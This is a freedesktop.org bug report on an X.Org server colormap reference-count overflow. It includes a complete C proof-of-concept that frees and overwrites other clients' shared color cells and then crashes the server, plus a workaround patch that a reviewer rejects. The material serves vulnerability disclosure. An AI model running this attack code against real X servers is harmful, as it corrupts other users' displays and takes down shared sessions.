| Summary: | poor colormap management | ||||||||
|---|---|---|---|---|---|---|---|---|---|
| Product: | xorg | Reporter: | TSUKAHARA Ken <ken3> | ||||||
| Component: | Server/General | Assignee: | Xorg Project Team <xorg-team> | ||||||
| Status: | RESOLVED WONTFIX | QA Contact: | Xorg Project Team <xorg-team> | ||||||
| Severity: | critical | ||||||||
| Priority: | highest | CC: | alan.coopersmith | ||||||
| Version: | unspecified | Keywords: | patch, security | ||||||
| Hardware: | x86 (IA32) | ||||||||
| OS: | Linux (All) | ||||||||
| Whiteboard: | |||||||||
| i915 platform: | i915 features: | ||||||||
| Attachments: |
|
||||||||
Created attachment 8131 [details]
Attack Code
Created attachment 8132 [details] [review] Workaround Sorry about the phenomenal bug spam, guys. Adding xorg-team@ to the QA contact so bugs don't get lost in future. Is this actually a security bug? Unless this makes us double-free something very specific I can't see how this is an actual compromise. So do we want to declare this not a security bug and make it public? (Is denial-of-color a recognized form of security flaw?) No objections after over 2 years, so making the bug publicly viewable. Closing; if you want to reopen this, I'd heavily suggest talking about it on the mailing list first. ajax's comments: Nack in its current form at least. These hunks are bogus: > --- a/dix/colormap.c > +++ b/dix/colormap.c > @@ -811,6 +811,7 @@ AllocColor (ColormapPtr pmap, > VisualPtr pVisual; > int npix; > Pixel *ppix; > + int initialPixels = pmap->numPixelsRed[client]; > > pVisual = pmap->pVisual; > (*pmap->pScreen->ResolveColor) (pred, pgreen, pblue, pVisual); > @@ -970,8 +971,15 @@ AllocColor (ColormapPtr pmap, > } > pcr->mid = pmap->mid; > pcr->client = client; > - if (!AddResource(FakeClientID(client), RT_CMAPENTRY, (pointer)pcr)) > - return (BadAlloc); > + if (class == PseudoColor) { > + if (initialPixels == 0) { > + if (!AddResource(FakeClientID(client), RT_CMAPENTRY, (pointer)pcr)) > + return (BadAlloc); > + } > + } else { > + if (!AddResource(FakeClientID(client), RT_CMAPENTRY, (pointer)pcr)) > + return (BadAlloc); > + } > } > return (Success); > } In the second hunk, we're inside a conditional on if ((pmap->numPixelsRed[client] == 1) && /* ... */ And, if we're PseudoColor, we don't increment numPixelsRed[client] between these two hunks. So the if (initialPixels == 0) conditional is really if (0). Which is definitely wrong; if a client allocates a color in a pseudocolor map, that color needs to be GC'd at client death. The rest of it seems to be changing ->refcnt in EntryPtr from "count of how many times this color has been allocated" to "count of how many clients have allocated this color", which I'm pretty sure would need to be reflected in more places than just FindColor. |
Use of freedesktop.org services, including Bugzilla, is subject to our Code of Conduct. How we collect and use information is described in our Privacy Policy.
In case of 8bit pseudo color visual. Shared color cell which is referred 32768 times from one client will be freed when the client calls XCloseDisplay(), though the cell is still referred from other clients. The free cell counter in the colormap gets broken at the same time. Attack code: /* * free and overwrite target color cells using "refcnt overflow" BUG * visual : 8bit pseudo color */ #include <X11/Xlib.h> #include <stdio.h> int main(int argc, char **argv) { Display* disp; Colormap cmap; XColor c0, c1; unsigned long px[1]; unsigned long pl[1]; unsigned int nplanes = 0; unsigned int npixels = 1; unsigned int imax = 32768; unsigned int i; char dummy[8]; char* target[] = { "#FFFFFF", /* assume pixel #0 is white */ "#000000" /* assume pixel #1 is black */ }; char* crack[] = { "#FFC0CB", /* pixel #0 may become pink */ "#000080" /* pixel #1 may become navy */ }; /* !! try to overflow the refcnt !! */ disp = XOpenDisplay(NULL); cmap = DefaultColormap(disp, 0); XAllocNamedColor(disp, cmap, target[0], &c0, &c1); printf("Target1 : #%d (%s)\n", c0.pixel, target[0]); XAllocNamedColor(disp, cmap, target[1], &c0, &c1); printf("Target2 : #%d (%s)\n", c0.pixel, target[1]); for (i = 1; i < imax; i++) { XAllocNamedColor(disp, cmap, target[0], &c0, &c1); XAllocNamedColor(disp, cmap, target[1], &c0, &c1); printf("\r[%5d/%5d] ", i+1, imax); fflush(stdout); } printf("\n"); XCloseDisplay(disp); /* !! target shared color cells may be released now !! */ /* !! try to overwrite the RGB value !! */ disp = XOpenDisplay(NULL); cmap = DefaultColormap(disp, 0); XAllocNamedColor(disp, cmap, crack[0], &c0, &c1); printf("Overwrite #%d with %s\n", c0.pixel, crack[0]); XAllocNamedColor(disp, cmap, crack[1], &c0, &c1); printf("Overwrite #%d with %s\n", c0.pixel, crack[1]); printf("Press [Enter] to crash Xserver...\n"); fflush(stdin); fgets(dummy, sizeof(dummy), stdin); /* !! free cell counter may be broken, too !! */ for (i = 1; ; i++) { XAllocColorCells(disp, cmap, False, pl, nplanes, px ,npixels); printf("\r[%5d] ", i); fflush(stdout); } printf("\n"); XCloseDisplay(disp); return 0; } Workaround: --- xorg-x11-6.8.2/xc/programs/Xserver/dix/colormap.c.org 2006-12-05 00:49:56.000000000 +0900 +++ xorg-x11-6.8.2/xc/programs/Xserver/dix/colormap.c 2006-12-05 00:58:02.000000000 +0900 @@ -830,6 +830,7 @@ VisualPtr pVisual; int npix; Pixel *ppix; + int initialPixels = pmap->numPixelsRed[client]; pVisual = pmap->pVisual; (*pmap->pScreen->ResolveColor) (pred, pgreen, pblue, pVisual); @@ -989,8 +990,15 @@ } pcr->mid = pmap->mid; pcr->client = client; - if (!AddResource(FakeClientID(client), RT_CMAPENTRY, (pointer)pcr)) - return (BadAlloc); + if (class == PseudoColor) { + if (initialPixels == 0) { + if (!AddResource(FakeClientID(client), RT_CMAPENTRY, (pointer) pcr)) + return (BadAlloc); + } + } else { + if (!AddResource(FakeClientID(client), RT_CMAPENTRY, (pointer)pcr)) + return (BadAlloc); + } } return (Success); } @@ -1281,6 +1281,8 @@ int npix, count, *nump = NULL; Pixel **pixp = NULL, *ppix; xColorItem def; + Bool matched = FALSE; + int i; foundFree = FALSE; @@ -1294,7 +1296,7 @@ if ((*comp) (pent, prgb)) { if (client >= 0) - pent->refcnt++; + matched = TRUE; *pPixel = pixel; switch(channel) { @@ -1394,8 +1396,12 @@ *pPixel = def.pixel; gotit: - if (pmap->flags & BeingCreated || client == -1) + if (pmap->flags & BeingCreated || client == -1) { + if (matched == TRUE) { + pent->refcnt++; + } return(Success); + } /* Now remember the pixel, for freeing later */ switch (channel) { @@ -1416,6 +1426,16 @@ break; } npix = nump[client]; + if (matched == TRUE) { + /* !! ppix shoud be uniq array to avoid refcnt overflow !! */ + ppix = pixp[client]; + for (i = 0; i < npix; i++) { + if (ppix[i] == pixel) { + return(Success); + } + } + pent->refcnt++; + } ppix = (Pixel *) xrealloc (pixp[client], (npix + 1) * sizeof(Pixel)); if (!ppix) {